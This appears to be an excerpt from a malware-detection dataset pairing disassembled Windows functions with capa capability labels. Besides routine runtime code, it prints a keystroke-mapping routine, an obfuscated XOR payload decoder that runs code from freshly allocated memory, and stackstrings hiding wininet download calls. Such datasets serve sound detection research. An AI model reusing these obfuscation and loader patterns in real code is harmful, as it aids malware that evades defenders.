joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4342c0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x43435d
push ebx
push esi
call fcn.0043427c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0042da71
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x43430a
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43435c
push edi
push eax
call fcn.0042f2ad
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x43432a
call fcn.0042f273
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43435b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0042da71
add esp, 0x20
test eax, eax
jne 0x434349
push edi
call fcn.0042f273
jmp 0x434351
push ebx
call fcn.0042f273
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x434360
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x434371
pop esi
ret
push ebx
push edi
push esi
call fcn.0043427c
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0042f2ad
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x434399
push ebx
push esi
push edi
call fcn.0040a9e0
add esp, 0xc
push 0
call fcn.0042f273
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x434c7e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043460e

Function at 0x437bba
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0042edff
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x437c29
cmp esi, dword [ebp - 4]
je 0x437c24
cmp dword [ebp + 0xc], 0
je 0x437c24
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x437c01
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0043770c
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x437c2b
xor eax, eax
inc eax
jmp 0x437c2b
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x437c90
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x455004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0042edff
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0042edff
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x437d07
cmp word [ecx], dx
je 0x437d07
mov eax, dword [0x44db8c]
push edi
dec eax
push eax
push 0x44da78
call fcn.00437c2f
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x437d7a
cmp word [eax], dx
je 0x437d7a
mov eax, dword [edi]
test eax, eax
je 0x437d2b
cmp word [eax], dx
je 0x437d2b
lea eax, [ebp - 0x10]
push eax
call fcn.00437612
jmp 0x437d34
lea eax, [ebp - 0x10]
push eax
call fcn.004376ad
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x437da4
mov eax, dword [0x44da74]
push dword [ebp - 0x14]
dec eax
push eax
push 0x44d768
call fcn.00437c2f
add esp, 0xc
test al, al
je 0x437da4
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x437d6f
cmp word [eax], di
je 0x437d6f
lea eax, [ebp - 0x10]
push eax
call fcn.00437612
pop ecx
jmp 0x437da6
lea eax, [ebp - 0x10]
push eax
call fcn.004376ad
jmp 0x437d6c
mov eax, dword [edi]
test eax, eax
je 0x437d91
cmp word [eax], dx
je 0x437d91
lea eax, [ebp - 0x10]
push eax
call fcn.004375a9
pop ecx
jmp 0x437da4
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x437e6f
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00437ab4
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x437e6f
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x437e6f
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x437e6f
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x437dfc
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.00438b7d
test ebx, ebx
je 0x437e6a
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.00438b7d
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x437e6f
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x437e6f
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.004415c5
add esp, 0x10
xor eax, eax
inc eax
jmp 0x437e71
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004013fb
leave
ret
Function at 0x4387ef
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44edb4
push 0x44edac
push str.FlsAlloc
push 0x1f
call fcn.004384bd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x438823
push dword [ebp + 8]
mov ecx, esi
call dword [0x44b168]
call esi
jmp 0x438829
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x43886d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44edc4
push 0x44edbc
push str.FlsGetValue
push 0x21
call fcn.004384bd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4388a4
push dword [ebp + 8]
mov ecx, esi
call dword [0x44b168]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4388ac
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44edcc
push 0x44edc4
push str.FlsSetValue
push 0x22
call fcn.004384bd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4388e6
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x44b168]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x444b3a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x456900]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x444b7a
cmp byte [ebx], 0xa
jne 0x444b7a
or byte [edi + eax + 0x28], 4
jmp 0x444b7f
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x444c7e
mov dl, byte [eax]
cmp dl, 0x1a
je 0x444c61
inc eax
cmp dl, 0xd
je 0x444bab
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x444bd1
cmp eax, ecx
jae 0x444bdf
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x444b93
jmp 0x444c7e
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x444c5c
cmp dword [ebp - 0x10], 0
je 0x444c5c
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x456900]
test byte [eax + edi + 0x28], 0x48
je 0x444c36
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x444c21
mov byte [esi], dl
jmp 0x444c32
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x456900]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x444c7e
cmp byte [ebp - 1], 0xa
jne 0x444c45
cmp esi, ebx
jne 0x444c45
mov byte [esi], 0xa
jmp 0x444c7d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0044443a
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x444c7e
mov byte [esi], 0xd
jmp 0x444c7d
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x456900]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x444c7b
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x444c7e
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x444c87
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x456900]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x444ccd
cmp word [ebx], dx
jne 0x444ccd
or byte [eax + edi + 0x28], 4
jmp 0x444cd2
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x444e35
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x444e15
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x444d13
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x444d49
cmp eax, edx
jae 0x444d57
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x444cee
jmp 0x444e35
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x444e10
cmp dword [ebp - 0x18], 0
je 0x444e10
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x456900]
test byte [eax + edi + 0x28], 0x48
je 0x444de6
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x444daa
mov word [esi], cx
jmp 0x444de1
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x456900]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x456900]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x456900]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x444e35
pop eax
cmp word [ebp - 4], ax
jne 0x444df6
cmp esi, ebx
jne 0x444df6
mov word [esi], ax
jmp 0x444e32
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0044443a
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x444e35
push 0xd
pop eax
jmp 0x444df1
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x456900]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x444e2f
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x444e35
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4011b5
pop dword [ebp - 8]
mov eax, 0x6bae4376
sub eax, 0x6b6e31c1
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x394b096d
sub dword [ebp - 0x18], 0xeaf8c422
mov dword [ebp - 0x14], 0xcf6ba036
add dword [ebp - 0x14], 0x62c7ac0f
mov dword [ebp - 0x10], 0x2512582a
sub dword [ebp - 0x10], 0xd8c613fc
mov dword [ebp - 0xc], 0x24e36f50
sub dword [ebp - 0xc], 0x24e36f50
lea eax, [ebp - 0x18]
push eax
mov eax, 0x1db1dbca
sub eax, 0x1d710b76
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x932f92e9
sub dword [ebp - 0x18], 0x1ebd2993
mov dword [ebp - 0x14], 0x3ce2853e
sub dword [ebp - 0x14], 0xfb7623c9
mov dword [ebp - 0x10], 0x397ed628
sub dword [ebp - 0x10], 0xd60f69bc
mov dword [ebp - 0xc], 0x84ab9df9
add dword [ebp - 0xc], 0x7b546207
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xc46d0b0f
add eax, 0x3bd3c53d
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x36ff3
push 0
call eax
mov ecx, 0xf4010da4
add ecx, 0xbff302e
mov edx, eax
mov ebx, 0xfd8b347b
sub ebx, 0xfd49847b
add ebx, dword [ebp - 8]
mov esi, 0xe89b082d
add esi, 0x57a01537
xor dword [ebp - 4], 0xe349695d
mov edi, dword [ebx]
add dword [ebp - 4], edx
xor edi, esi
mov dword [edx], edi
sub dword [ebp - 4], edx
add edx, 0xe4a5d5a
sub edx, 0xe4a5d56
add ebx, 0x9c060a24
add ebx, 0x63f9f5e0
loop 0x4012d7
add eax, 0xf2617c2f
add eax, 0xd9f6dec
xor ebx, ebx
add ebx, eax
add eax, 0x447eed39
add eax, 0xbb8112cc
mov ecx, 0x55565fab
sub ecx, 0x55165fab
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x402840
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x633ef8]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402885
xorps xmm0, xmm0
movq qword [esp + 0xc], xmm0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov dword [esp + 0xc], esi
call fcn.0058cbc0
mov dword [esp + 0x10], eax
test esi, esi
jne 0x402898
mov ecx, dword [esp + 0x14]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.005892bc
mov esp, ebp
pop ebp
ret
push 0x6091e8
lea eax, [esp + 0x10]
push eax
call fcn.00402650
int3

Function at 0x4028b0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x633ef8]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp eax, 1
jne 0x402903
movzx ecx, byte [ebp + 0x10]
lea eax, [esp + 8]
push eax
movzx eax, byte [ebp + 0xc]
shl cx, 8
or cx, ax
movzx eax, cx
push eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
push eax
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esp + 0x19c]
pop esi
xor ecx, esp
call fcn.005892bc
mov esp, ebp
pop ebp
ret

Function at 0x4058c0
Capabilities:
Terminate thread

Disassembly:
jmp 0x417d00
mov eax, dword [0x64107c]
test eax, eax
je 0x417d38
push 0x3e8
push eax
mov byte [0x641080], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x417d2e
push 0
push dword [0x64107c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x64107c], 0
ret
Function at 0x4058d0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x633ef8]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 8], 0
je 0x4058ee
call fcn.00417cb0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x7c]
push edi
push eax
mov dword [ebp - 0x7c], 0x776c6853
mov word [ebp - 0x76], 0x2e69
mov word [ebp - 0x73], 0x6c6c
mov word [ebp - 0x78], 0x7061
mov byte [ebp - 0x74], 0x64
mov byte [ebp - 0x71], 0
mov word [ebp - 0x4b], 0x4173
mov word [ebp - 0x58], 0x6150
mov dword [ebp - 0x53], 0x45656c69
mov word [ebp - 0x4e], 0x7369
mov byte [ebp - 0x4c], 0x74
mov byte [ebp - 0x4f], 0x78
mov word [ebp - 0x55], 0x4668
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x56], 0x74
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405962
lea ecx, [ebp - 0x58]
push ecx
push eax
call edi
mov dword [0x641008], eax
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0x696e6977
push eax
mov dword [ebp - 0x84], 0x6c6c64
mov dword [ebp - 0x88], 0x2e74656e
mov dword [ebp - 0x30], 0x65746e49
mov dword [ebp - 0x27], 0x46646165
mov dword [ebp - 0x23], 0x656c69
mov dword [ebp - 0x2c], 0x74656e72
mov byte [ebp - 0x28], 0x52
mov dword [ebp - 0x64], 0x6e65704f
mov dword [ebp - 0x69], 0x656e7265
mov word [ebp - 0x6c], 0x6e49
mov byte [ebp - 0x6a], 0x74
mov byte [ebp - 0x65], 0x74
mov word [ebp - 0x60], 0x41
mov dword [ebp - 0x3c], 0x6e65704f
mov dword [ebp - 0x41], 0x656e7265
mov dword [ebp - 0x38], 0x416c7255
mov word [ebp - 0x44], 0x6e49
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x3d], 0x74
mov byte [ebp - 0x34], 0
mov dword [ebp - 0x1c], 0x65746e49
mov dword [ebp - 0x16], 0x6c437465
mov dword [ebp - 0x12], 0x4865736f
mov dword [ebp - 0xe], 0x6c646e61
mov word [ebp - 0x18], 0x6e72
mov word [ebp - 0xa], 0x65
call esi
mov esi, eax
test esi, esi
je 0x405a3c
lea eax, [ebp - 0x30]
push eax
push esi
call edi
lea eax, [ebp - 0x6c]
push eax
push esi
call edi
lea eax, [ebp - 0x44]
push eax
push esi
call edi
lea eax, [ebp - 0x1c]
push eax
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.005892bc
mov esp, ebp
pop ebp
ret
Function at 0x406e90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bb8a8
mov eax, dword fs:[0]
push eax
sub esp, 0x814
mov eax, dword [0x633ef8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x818], esi
mov dword [ebp - 0x820], 0
push 0x801
lea eax, [ebp - 0x814]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.0058f590
add esp, 0xc
mov dword [ebp - 0x81c], 0x801
lea eax, [ebp - 0x81c]
mov dword [ebp - 0x818], 1
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x818]
push eax
push dword [ebp + 8]
push str.SoftwareBrowserSaferMngr
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
lea eax, [ebp - 0x814]
mov ecx, esi
push eax
call fcn.004160f0
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x406f57
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005892bc
mov esp, ebp
pop ebp
ret

Function at 0x406f80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bb8e0
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x633ef8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov eax, dword [ebp + 0xc]
mov esi, dword [eax - 0xc]
add esi, 1
jns 0x406fbf
push 0x80070057
call fcn.00416970
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, esi
or ecx, edx
jge 0x406fdc
push esi
lea ecx, [ebp + 0xc]
call fcn.004165b0
mov eax, dword [ebp + 0xc]
push esi
push eax
push 1
push dword [ebp + 8]
push str.SoftwareBrowserSaferMngr
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov byte [ebp - 4], 0
or esi, 0xffffffff
mov edx, dword [ebp + 8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407014
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x407033
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret